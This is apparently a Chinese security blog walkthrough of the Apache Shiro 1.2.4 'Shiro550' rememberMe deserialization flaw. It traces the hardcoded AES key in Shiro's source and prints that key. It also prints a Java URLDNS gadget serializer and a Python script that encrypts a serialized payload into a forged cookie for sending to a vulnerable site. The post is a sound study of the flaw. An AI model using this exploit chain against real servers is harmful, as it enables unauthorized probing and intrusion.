Shiro550反序列化 环境配置
1 2 3 4 5 6 <dependency > <groupId > javax.servlet</groupId > <artifactId > servlet-api</artifactId > <version > 2.5</version > <scope > provided</scope > </dependency >
URLDNS探测Shiro550 我们在搭建好的网站上进行登陆,并且要勾选Rememberme后抓包,可以发现在Server端返回的Cookie中有一个rememberMe字段,并且其中看起来像是加密储存了一些内容:
我们可以在shiro的源码中发现实现这个功能的类CookieRememberMeManager
,找到其中的getRememberedSerializedIdentity
这个方法,可以看的出来这个方法会从请求中获取这个Cookie并返回,所以接下来的逻辑就是找哪个方法调用了这个方法,然后对Cookie进行解密等处理:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 protected byte [] getRememberedSerializedIdentity(SubjectContext subjectContext) { if (!WebUtils.isHttp(subjectContext)) { if (log.isDebugEnabled()) { String msg = "SubjectContext argument is not an HTTP-aware instance. This is required to obtain a " + "servlet request and response in order to retrieve the rememberMe cookie. Returning " + "immediately and ignoring rememberMe operation." ; log.debug(msg); } return null ; } WebSubjectContext wsc = (WebSubjectContext) subjectContext; if (isIdentityRemoved(wsc)) { return null ; } HttpServletRequest request = WebUtils.getHttpRequest(wsc); HttpServletResponse response = WebUtils.getHttpResponse(wsc); String base64 = getCookie().readValue(request, response); if (Cookie.DELETED_COOKIE_VALUE.equals(base64)) return null ; if (base64 != null ) { base64 = ensurePadding(base64); if (log.isTraceEnabled()) { log.trace("Acquired Base64 encoded identity [" + base64 + "]" ); } byte [] decoded = Base64.decode(base64); if (log.isTraceEnabled()) { log.trace("Base64 decoded byte array length: " + (decoded != null ? decoded.length : 0 ) + " bytes." ); } return decoded; } else { return null ; } }
在org/apache/shiro/mgt/AbstractRememberMeManager
这个类中我们找到了getRememberedPrincipals
这个方法调用了getRememberedSerializedIdentity
,然后把这个Cookie用convertBytesToPrincipals
进行处理,我们跟进这个方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public PrincipalCollection getRememberedPrincipals (SubjectContext subjectContext) { PrincipalCollection principals = null ; try { byte [] bytes = getRememberedSerializedIdentity(subjectContext); if (bytes != null && bytes.length > 0 ) { principals = convertBytesToPrincipals(bytes, subjectContext); } } catch (RuntimeException re) { principals = onRememberedPrincipalFailure(re, subjectContext); } return principals; }
可以看到这个方法做了两件事,一个是对这个传过来的Cookie进行decrypt(解密),一个是对这个Cookie进行deserialize(反序列化),我们分别跟进这两个方法看一下:
1 2 3 4 5 6 protected PrincipalCollection convertBytesToPrincipals (byte [] bytes, SubjectContext subjectContext) { if (getCipherService() != null ) { bytes = decrypt(bytes); } return deserialize(bytes); }
先来看deserialize
:
1 2 3 protected PrincipalCollection deserialize (byte [] serializedIdentity) { return getSerializer().deserialize(serializedIdentity); }
这个函数把Cookie传给了getSerializer().deserialize()
这个方法,getSerializer
的返回值是serializer
,这个变量在构造函数内进行了初始化,是一个DefaultSerializer
,因此我们跟进DefaultSerializer.deserialize
1 2 3 4 5 6 7 8 9 10 public Serializer<PrincipalCollection> getSerializer () { return serializer; } ## 构造函数 public AbstractRememberMeManager () { this .serializer = new DefaultSerializer <PrincipalCollection>(); this .cipherService = new AesCipherService (); setCipherKey(DEFAULT_CIPHER_KEY_BYTES); }
可以发现就是实现了一个反序列化,因此确实存在反序列化漏洞的点,我们接下来就要破解上面的加密算法,从而能让我们自己的payload加密后发过去:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 public T deserialize (byte [] serialized) throws SerializationException { if (serialized == null ) { String msg = "argument cannot be null." ; throw new IllegalArgumentException (msg); } ByteArrayInputStream bais = new ByteArrayInputStream (serialized); BufferedInputStream bis = new BufferedInputStream (bais); try { ObjectInputStream ois = new ClassResolvingObjectInputStream (bis); @SuppressWarnings({"unchecked"}) T deserialized = (T) ois.readObject(); ois.close(); return deserialized; } catch (Exception e) { String msg = "Unable to deserialze argument byte array." ; throw new SerializationException (msg, e); } }
回到decrypt上,decrypt方法先通过getDecryptionCipherKey
方法获取了一个密钥,然后将Cookie交给cipherService.decrypt
方法解密:
1 2 3 4 5 6 7 8 9 protected byte [] decrypt(byte [] encrypted) { byte [] serialized = encrypted; CipherService cipherService = getCipherService(); if (cipherService != null ) { ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey()); serialized = byteSource.getBytes(); } return serialized; }
可以看到cipherService
是通过getCipherService
方法得到的,跟进发现返回值在构造函数中初始化,其实到这里可以看的出来就是个Aes加密了(并且下面的setCipherKey其实就是AES的密钥,不过我们假装不知道一会再找回来),继续跟进AesCipherService
的话可以看到Aes加密的具体方式,这里就不展示出来了:
1 2 3 4 5 public AbstractRememberMeManager () { this .serializer = new DefaultSerializer <PrincipalCollection>(); this .cipherService = new AesCipherService (); setCipherKey(DEFAULT_CIPHER_KEY_BYTES); }
我们再回头看getDecryptionCipherKey
方法获取密钥的逻辑,跟进:
1 2 3 public byte [] getDecryptionCipherKey() { return decryptionCipherKey; }
再找decryptionCipherKey
这个属性在哪里进行的赋值,可以发现是通过setter赋值(Find Usage -> Value Write):
1 2 3 public void setDecryptionCipherKey (byte [] decryptionCipherKey) { this .decryptionCipherKey = decryptionCipherKey; }
接着看哪里调用了setDecryptionCipherKey
方法,发现在setCipherKey
方法中:
1 2 3 4 5 6 public void setCipherKey (byte [] cipherKey) { setEncryptionCipherKey(cipherKey); setDecryptionCipherKey(cipherKey); }
最终其实还是在构造函数传了密钥,并且可以发现密钥是一个写死的常量,因此问题就出在这里,在shiro1.2.4版本下,密钥是写死的,并且采用的是AES加密(对称加密),所以我们可以通过这个密钥自己构造payload并加密后传过去进行反序列化攻击:
1 2 3 4 5 6 7 public AbstractRememberMeManager () { this .serializer = new DefaultSerializer <PrincipalCollection>(); this .cipherService = new AesCipherService (); setCipherKey(DEFAULT_CIPHER_KEY_BYTES); } private static final byte [] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==" );
我们看一下在这个包中的Maven依赖有哪个是我们可攻击的,发现存在commons-collections3.x,不过可以发现这个依赖项的scope是test,也就是说只有在test中运行时这个依赖才会被导入,那么真实条件下是不存在这个依赖的,所以我们是没有办法通过这个依赖进行攻击的:
实际上可以攻击的依赖是commons-beanutils这个依赖,不过我们这里先用Java自带的URLDNS进行一下测试
将URLDNS的利用类序列化出来,我这里序列化后保存的文件名叫做ser.bin:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 package ysoserial.payloads.util.Test;import java.lang.reflect.Field;import java.net.URL;import java.util.HashMap;import static ysoserial.payloads.util.Test.util.Serialize.serialize;import static ysoserial.payloads.util.Test.util.Unserialize.unserialize;public class URLDNSTest { public static void main (String[] args) throws Exception{ URL url = new URL ("xxx.com" ); Class c = url.getClass(); Field hashcodeField = c.getDeclaredField("hashCode" ); hashcodeField.setAccessible(true ); hashcodeField.set(url,1234 ); HashMap hashMap = new HashMap (); hashMap.put(url,1 ); hashcodeField.set(url,-1 ); serialize(hashMap); } }
这是根据shiro加密的逻辑写出的构造新payload的脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 import base64import uuidfrom random import Randomfrom Crypto.Cipher import AESdef get_file_data (filename ): with open (filename, 'rb' ) as f: data = f.read() return data def aes_enc (data ): BS = AES.block_size pad = lambda s: s + ((BS - len (s) % BS) * chr (BS - len (s) % BS)).encode() key = "kPH+bIxk5D2deZiIxcaaaA==" mode = AES.MODE_CBC iv = uuid.uuid4().bytes encryptor = AES.new(base64.b64decode(key), mode, iv) ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data))) return ciphertext def aes_dec (enc_data ): enc_data = base64.b64decode(enc_data) unpad = lambda s : s[:-s[-1 ]] key = "kPH+bIxk5D2deZiIxcaaaA==" mode = AES.MODE_CBC iv = enc_data[:16 ] encryptor = AES.new(base64.b64decode(key), mode, iv) plaintext = encryptor.decrypt(enc_data[16 :]) plaintext = unpad(plaintext) return plaintext if __name__ == '__main__' : data = get_file_data("ser.bin" ) print (aes_enc(data))
把ser.bin和脚本放在同一目录下运行脚本即可:
替换Cookie进行发包,需要注意的是要将Cookie中的SessionId删除掉,否则Shiro会直接用Sessionid而不是rememberme:
关于如何通过cb链命令执行先🐦一手 有空补上来